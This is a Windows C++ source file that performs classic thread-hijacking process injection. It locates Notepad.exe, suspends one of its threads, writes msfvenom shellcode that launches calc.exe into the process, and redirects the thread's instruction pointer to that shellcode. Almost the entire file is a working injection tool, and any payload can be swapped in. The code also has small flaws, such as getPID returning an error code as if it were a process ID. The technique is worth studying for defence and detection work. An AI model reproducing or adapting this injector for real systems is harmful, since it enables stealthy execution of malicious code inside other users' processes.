ClassicThreadHijacking.cpp

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

DWORD getPID() {

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to create a snapshot! Exiting with error: %ld\n", GetLastError());
		printf("[!] Failed to enum process.\n");
		return EXIT_FAILURE;
	}
	printf("[*] Snapshot taken successfully for process enum!\n");

	PROCESSENTRY32 pe32 = { 0 };
	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (Process32First(hSnapshot, &pe32)) {
		while (Process32Next(hSnapshot, &pe32)) {
			if (_wcsicmp(pe32.szExeFile, L"Notepad.exe") == 0) {
				return pe32.th32ProcessID;
				break;
			}
		}
	}
}

int main() {

	DWORD PID = getPID();
	printf("[+] PID of target process [Notepad.exe] is %ld\n", PID);
//shellcode for calc.exe generated using msfvenom
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
		"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
		"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
		"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to create snapshot for thread enum! Exiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[*] Snapshot taken successfully for thread enum.\n");

	THREADENTRY32 te32 = { 0 };
	te32.dwSize = sizeof(THREADENTRY32);

	HANDLE hThreadHijacked = NULL;
	DWORD oldprotect = NULL;
	CONTEXT context = { 0 };
	context.ContextFlags = CONTEXT_FULL;

	Thread32First(hSnapshot, &te32);

	while (Thread32Next(hSnapshot, &te32) == TRUE) {
		if (te32.th32OwnerProcessID == PID) {
			hThreadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			break;
		}
	}

	SuspendThread(hThreadHijacked);

	printf("[+] TID of target thread is %ld\n", te32.th32ThreadID);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (hProcess == NULL) {
		printf("[!] Failed to open an handle to target process. Exiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Got an handle to target process.\n");

	LPVOID virtualmem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
	if (virtualmem == NULL) {
		printf("[!] Failed to allocate memory. Exiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Allocated memory for the shellcode.\n\t\\----0x%p\n", virtualmem);

	if (!VirtualProtectEx(hProcess, virtualmem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect)) {
		printf("[!] Failed to change memory protection. Exiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Memory protection change from PAGE_READWRITE to PAGE_EXECUTE_READ\n");

	if (!WriteProcessMemory(hProcess, virtualmem, shellcode, sizeof(shellcode), NULL)) {
		printf("[!] Failed to write shellcode into memory! Exiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Shellcode written into memory.\n\t\\----0x%p\n", shellcode);

	GetThreadContext(hThreadHijacked, &context);
	printf("[*] Getting the context of hijacked thread.\n");

	context.Rip = (DWORD_PTR)virtualmem;

	SetThreadContext(hThreadHijacked, &context);
	printf("[+] Changed the context of hijacked thread.\n");

	ResumeThread(hThreadHijacked);

	printf("[+] Executed the hijacked thread!\n");
	printf("[+] Shellcode executed successfully!\n");
}